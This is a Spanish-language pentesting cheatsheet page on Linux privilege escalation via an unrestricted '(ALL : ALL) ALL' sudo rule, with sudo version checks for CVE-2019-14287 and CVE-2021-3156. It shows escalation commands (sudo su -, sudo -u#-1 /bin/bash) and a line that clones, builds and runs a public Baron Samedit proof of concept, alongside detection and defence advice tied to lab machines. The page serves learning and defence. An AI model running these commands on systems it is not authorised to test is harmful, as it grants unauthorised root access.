the_open_door
café
ESEN
← Volver al índice

Unrestricted sudo (ALL : ALL) ALL

Arsenal completo de comandos en la cheatsheet

La regla de sudo más permisiva posible es (ALL : ALL) ALL: el usuario puede ejecutar cualquier comando, como cualquier usuario, incluido root. No hay técnica que abusar; es, literalmente, un atajo a root. Suele aparecer en máquinas de laboratorio o en cuentas de administrador mal acotadas.

Leer la regla y escalar

Lo primero tras conseguir un usuario es siempre sudo -l; la salida dice qué se puede ejecutar, como quién (el primer campo entre paréntesis es el runas user, el segundo el runas group) y con qué condiciones (NOPASSWD, SETENV, env_keep):

sudo -l
# User <user> may run the following commands:
#     (ALL : ALL) ALL
sudo su -           # o: sudo -i, sudo bash, sudo -s
id                  # uid=0(root)

Si la regla acota el runas a un usuario concreto pero no a root, sigue sirviendo para saltar a esa cuenta (sudo -u <otro> bash), un pivote lateral que a veces encadena con otra vía. A veces la contraseña del usuario hace falta; si la obtuvimos por reutilización (reutilización de credenciales) o de un proceso, ya la tenemos. Con NOPASSWD, ni eso.

Variantes cercanas

Aunque la regla no sea ALL, la versión de sudo importa: sudo --version por debajo de 1.9.5p2 es vulnerable a CVE-2021-3156 (Baron Samedit, desbordamiento de heap que da root sin regla alguna), y por debajo de 1.8.28 a CVE-2019-14287 (sudo -u#-1 ejecuta como root aunque la regla excluya root con (ALL, !root)). Conviene comprobar la versión siempre que se vea cualquier acceso a sudo.

sudo --version                                   # comprobar la version de sudo
# CVE-2019-14287: root pese a (ALL, !root)
sudo -u#-1 /bin/bash
sudo -u#4294967295 id
# CVE-2021-3156 (Baron Samedit): PoC publico, root sin ninguna regla
git clone https://github.com/blasty/CVE-2021-3156; cd CVE-2021-3156; make
./sudo-hax-me-a-sandwich

Matices. Conviene no confundir (ALL : ALL) ALL con reglas acotadas a un binario concreto ((root) /usr/bin/systemctl ...), que sí requieren una técnica de abuso (GTFOBins, script escribible). El ALL central es el runas group; el relevante para root es poder ejecutar como el usuario root, que (ALL : ...) ya concede.

Cómo detectarlo. Cada uso de sudo deja un registro en /var/log/auth.log (o /var/log/secure) y, si hay auditoría, un evento USER_CMD/execve de auditd: la línea sudo ... COMMAND=/bin/su o COMMAND=/bin/bash tras una regla ALL es la firma directa de la escalada. En SIEM, la señal de alta fidelidad es una cuenta de usuario normal (no administrador conocido) invocando sudo su/sudo -i, o el uso de sudo -u#-1 (intento de CVE-2019-14287). Un pico de sudo con COMMAND que abre shell desde una cuenta que nunca lo hacía merece alerta.

Defensa. Aplicar mínimo privilegio: conceder por sudo solo los comandos estrictamente necesarios, con argumentos fijos y sin comodines; auditar sudo -l de cada cuenta, mantener sudo parcheado (cierra Baron Samedit y -u#-1) y evitar ALL salvo en administradores plenamente confiables (y ni aún así en cuentas de servicio o de aplicación).

Máquinas donde se aplica

  • MantisProving Grounds Practice
  • PayDayProving Grounds Practice